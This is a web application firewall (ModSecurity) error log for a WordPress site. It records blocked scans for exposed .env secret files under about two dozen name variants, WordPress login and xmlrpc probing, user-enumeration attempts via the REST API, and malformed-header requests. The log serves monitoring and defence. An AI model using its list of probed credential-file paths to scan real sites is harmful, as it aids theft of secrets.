[Sun May 17 19:12:38.396047 2026] [:error] [pid 10784:tid 10820] [client 34.84.51.38:43364] [client 34.84.51.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.local"] [unique_id "agmipmBWRlKsFkSZGxBD5gAAAZQ"]
[Sun May 17 19:12:38.896745 2026] [:error] [pid 59060:tid 59079] [client 34.84.51.38:43376] [client 34.84.51.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.production"] [unique_id "agmipvvwvq3bndkPE4nu4wAAAAo"]
[Sun May 17 19:12:39.400023 2026] [:error] [pid 11079:tid 11119] [client 34.84.51.38:43396] [client 34.84.51.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.staging"] [unique_id "agmip2eR3-DrxhvUqxHnzgAAAk8"]
[Sun May 17 19:12:39.908321 2026] [:error] [pid 59062:tid 59130] [client 34.84.51.38:43404] [client 34.84.51.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.development"] [unique_id "agmipz4V9GkVWmCFmGYTtgAAAIc"]
[Sun May 17 19:12:40.407700 2026] [:error] [pid 11079:tid 11115] [client 34.84.51.38:43446] [client 34.84.51.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.test"] [unique_id "agmiqGeR3-DrxhvUqxHn1AAAAks"]
[Sun May 17 19:12:40.907126 2026] [:error] [pid 59061:tid 59108] [client 34.84.51.38:43458] [client 34.84.51.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.remote"] [unique_id "agmiqIYS410zAmsYkoInJwAAAEw"]
[Sun May 17 19:12:41.410898 2026] [:error] [pid 17234:tid 17245] [client 34.84.51.38:43490] [client 34.84.51.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.bak"] [unique_id "agmiqdJ4QOrYRCeDR2hXaQAAAUk"]
[Sun May 17 19:12:41.916707 2026] [:error] [pid 17234:tid 17244] [client 34.84.51.38:47906] [client 34.84.51.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.backup"] [unique_id "agmiqdJ4QOrYRCeDR2hXawAAAUg"]
[Sun May 17 19:12:42.428450 2026] [:error] [pid 10784:tid 10799] [client 34.84.51.38:47932] [client 34.84.51.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.save"] [unique_id "agmiqmBWRlKsFkSZGxBD6gAAAYA"]
[Sun May 17 19:12:42.935424 2026] [:error] [pid 17234:tid 17255] [client 34.84.51.38:47956] [client 34.84.51.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.old"] [unique_id "agmiqtJ4QOrYRCeDR2hXbgAAAVM"]
[Sun May 17 19:12:43.427333 2026] [:error] [pid 59060:tid 59075] [client 34.84.51.38:47986] [client 34.84.51.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.sample"] [unique_id "agmiq_vwvq3bndkPE4nu5gAAAAY"]
[Sun May 17 19:12:43.926019 2026] [:error] [pid 10835:tid 10880] [client 34.84.51.38:48006] [client 34.84.51.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.example"] [unique_id "agmiq0k8lW0-dtknLl8cDQAAAgc"]
[Sun May 17 19:12:44.421744 2026] [:error] [pid 10835:tid 10888] [client 34.84.51.38:48036] [client 34.84.51.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.dev"] [unique_id "agmirEk8lW0-dtknLl8cDwAAAg8"]
[Sun May 17 19:12:44.910863 2026] [:error] [pid 11079:tid 11119] [client 34.84.51.38:48070] [client 34.84.51.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.prod"] [unique_id "agmirGeR3-DrxhvUqxHn2wAAAk8"]
[Sun May 17 19:12:45.419403 2026] [:error] [pid 36652:tid 36672] [client 34.84.51.38:48094] [client 34.84.51.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.stage"] [unique_id "agmirTZrzQadnZADvj9W8wAAARI"]
[Sun May 17 19:12:45.911536 2026] [:error] [pid 10784:tid 10819] [client 34.84.51.38:48114] [client 34.84.51.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.ci"] [unique_id "agmirWBWRlKsFkSZGxBD7wAAAZM"]
[Sun May 17 19:12:46.410731 2026] [:error] [pid 17234:tid 17256] [client 34.84.51.38:48138] [client 34.84.51.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.docker"] [unique_id "agmirtJ4QOrYRCeDR2hXcQAAAVQ"]
[Sun May 17 19:12:46.905314 2026] [:error] [pid 11079:tid 11125] [client 34.84.51.38:48160] [client 34.84.51.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.live"] [unique_id "agmirmeR3-DrxhvUqxHn3gAAAlU"]
[Sun May 17 19:12:47.413727 2026] [:error] [pid 59062:tid 59126] [client 34.84.51.38:48182] [client 34.84.51.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.preprod"] [unique_id "agmirz4V9GkVWmCFmGYTvgAAAIM"]
[Sun May 17 19:12:47.919347 2026] [:error] [pid 10784:tid 10820] [client 34.84.51.38:48206] [client 34.84.51.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.uat"] [unique_id "agmir2BWRlKsFkSZGxBD8gAAAZQ"]
[Sun May 17 19:12:48.425653 2026] [:error] [pid 10834:tid 10863] [client 34.84.51.38:48218] [client 34.84.51.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.dist"] [unique_id "agmisBISNQ_Nf83-VpqlEgAAAdE"]
[Sun May 17 19:12:48.926855 2026] [:error] [pid 11079:tid 11121] [client 34.84.51.38:48256] [client 34.84.51.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.swp"] [unique_id "agmisGeR3-DrxhvUqxHn3wAAAlE"]
[Sun May 17 19:12:49.407419 2026] [:error] [pid 59060:tid 59078] [client 34.84.51.38:48278] [client 34.84.51.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env~"] [unique_id "agmisfvwvq3bndkPE4nu7gAAAAk"]
[Sun May 17 19:12:49.899696 2026] [:error] [pid 11079:tid 11106] [client 34.84.51.38:48324] [client 34.84.51.38] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/app/.env"] [unique_id "agmisWeR3-DrxhvUqxHn4gAAAkY"]
[Sun May 17 20:03:35.520615 2026] [:error] [pid 59061:tid 59096] [client 65.109.168.36:40358] [client 65.109.168.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.109.168.36, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agmul4YS410zAmsYkoIq-AAAAEA"]
[Sun May 17 20:03:36.713608 2026] [:error] [pid 59061:tid 59102] [client 65.109.168.36:40358] [client 65.109.168.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.109.168.36, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agmumIYS410zAmsYkoIq-QAAAEY"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 17 20:07:54.589244 2026] [:error] [pid 59062:tid 59138] [client 194.163.148.177:59852] [client 194.163.148.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.163.148.177, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agmvmj4V9GkVWmCFmGYdXQAAAI8"]
[Sun May 17 20:07:55.841830 2026] [:error] [pid 59062:tid 59147] [client 194.163.148.177:59852] [client 194.163.148.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 194.163.148.177, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agmvmz4V9GkVWmCFmGYdXgAAAJg"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 17 21:40:16.986274 2026] [:error] [pid 10784:tid 10818] [client 150.109.46.88:53466] [client 150.109.46.88] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agnFQGBWRlKsFkSZGxBP6AAAAZI"]
[Sun May 17 21:52:11.046939 2026] [:error] [pid 59062:tid 59124] [client 103.28.36.205:37032] [client 103.28.36.205] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.28.36.205, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agnICz4V9GkVWmCFmGYzAQAAAIE"]
[Sun May 17 22:05:32.007378 2026] [:error] [pid 10784:tid 10807] [client 84.54.33.112:62508] [client 84.54.33.112] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "agnLLGBWRlKsFkSZGxBRUwAAAYg"]
[Sun May 17 22:21:21.514913 2026] [:error] [pid 59062:tid 59130] [client 68.183.200.133:41168] [client 68.183.200.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.183.200.133, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agnO4T4V9GkVWmCFmGY5VQAAAIc"]
[Sun May 17 22:21:23.273513 2026] [:error] [pid 59062:tid 59136] [client 68.183.200.133:41168] [client 68.183.200.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.183.200.133, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agnO4z4V9GkVWmCFmGY5XgAAAI0"], referer: https://rcacivilgroup.com/wp-login.php
[Sun May 17 22:50:50.647650 2026] [:error] [pid 59062:tid 59137] [client 104.28.164.37:11881] [client 104.28.164.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.164.37, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agnVyj4V9GkVWmCFmGY_swAAAI4"]
[Sun May 17 22:53:19.422665 2026] [:error] [pid 59166:tid 59168] [client 104.28.164.37:13030] [client 104.28.164.37] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "agnWX0_puQ1I47_0Urj1_wAAAMA"]
[Sun May 17 22:54:11.866567 2026] [:error] [pid 10784:tid 10819] [client 104.28.164.37:12292] [client 104.28.164.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.164.37, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agnWk2BWRlKsFkSZGxBUXAAAAZM"]
[Sun May 17 22:59:26.246655 2026] [:error] [pid 17234:tid 17253] [client 104.28.155.30:53630] [client 104.28.155.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.155.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agnXztJ4QOrYRCeDR2hmAAAAAVE"]
[Sun May 17 23:00:06.248068 2026] [:error] [pid 10835:tid 10885] [client 104.28.155.30:53711] [client 104.28.155.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.155.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agnX9kk8lW0-dtknLl85QwAAAgw"]
[Sun May 17 23:00:42.166180 2026] [:error] [pid 11079:tid 11102] [client 104.28.155.30:53409] [client 104.28.155.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.155.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agnYGmeR3-DrxhvUqxEONwAAAkI"]
[Mon May 18 01:01:26.816897 2026] [:error] [pid 59166:tid 59189] [client 49.51.233.95:38610] [client 49.51.233.95] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agn0Zk_puQ1I47_0Urj6mwAAANU"]
[Mon May 18 01:23:52.935832 2026] [:error] [pid 11079:tid 11119] [client 43.159.152.184:40912] [client 43.159.152.184] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "agn5qGeR3-DrxhvUqxEeMgAAAk8"]
[Mon May 18 02:11:13.823410 2026] [:error] [pid 11079:tid 11117] [client 179.97.231.102:58906] [client 179.97.231.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.97.231.102, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agoEwWeR3-DrxhvUqxEkKwAAAk0"]
[Mon May 18 02:11:26.515347 2026] [:error] [pid 11079:tid 11109] [client 179.97.231.102:58550] [client 179.97.231.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.97.231.102, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agoEzmeR3-DrxhvUqxEkMAAAAkg"]
[Mon May 18 02:11:37.478498 2026] [:error] [pid 10835:tid 10895] [client 179.97.231.102:63573] [client 179.97.231.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.97.231.102, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agoE2Uk8lW0-dtknLl9MDgAAAhY"]
[Mon May 18 02:11:50.882659 2026] [:error] [pid 59062:tid 59141] [client 179.97.231.102:60443] [client 179.97.231.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.97.231.102, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agoE5j4V9GkVWmCFmGZi3gAAAJI"]
[Mon May 18 02:12:01.370185 2026] [:error] [pid 10835:tid 10893] [client 179.97.231.102:54056] [client 179.97.231.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.97.231.102, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agoE8Uk8lW0-dtknLl9MGgAAAhQ"]
[Mon May 18 02:15:34.236630 2026] [:error] [pid 59062:tid 59143] [client 49.13.246.178:38064] [client 49.13.246.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 49.13.246.178, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agoFxj4V9GkVWmCFmGZjvAAAAJQ"]
[Mon May 18 02:15:35.246579 2026] [:error] [pid 59062:tid 59124] [client 49.13.246.178:38064] [client 49.13.246.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 49.13.246.178, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agoFxz4V9GkVWmCFmGZjvQAAAIE"], referer: https://rcacivilgroup.com/wp-login.php
[Mon May 18 03:29:52.513085 2026] [:error] [pid 17379:tid 17460] [client 165.22.61.123:59436] [client 165.22.61.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.22.61.123, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agoXMMgYt3DDO1piwpKqVwAAAA8"]
[Mon May 18 03:29:53.471091 2026] [:error] [pid 17379:tid 17465] [client 165.22.61.123:59436] [client 165.22.61.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 165.22.61.123, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agoXMcgYt3DDO1piwpKqWAAAABQ"], referer: https://rcacivilgroup.com/wp-login.php
[Mon May 18 05:02:19.352947 2026] [:error] [pid 20779:tid 20868] [client 190.107.177.235:46946] [client 190.107.177.235] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/me"] [unique_id "agos2yF3Tl5ZGU-QyEDTEAAAAJY"]
[Mon May 18 05:16:07.026487 2026] [:error] [pid 63115:tid 63134] [client 43.130.74.193:47384] [client 43.130.74.193] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "agowF-z_ApFcYdejvGfjjgAAARE"]
[Mon May 18 05:38:02.068459 2026] [:error] [pid 20884:tid 20905] [client 119.91.20.139:42548] [client 119.91.20.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ago1Onv9K_lRldrJG3OwxgAAANM"]
[Mon May 18 05:43:43.210419 2026] [:error] [pid 20884:tid 20904] [client 43.167.236.228:36662] [client 43.167.236.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ago2j3v9K_lRldrJG3OxxAAAANI"]
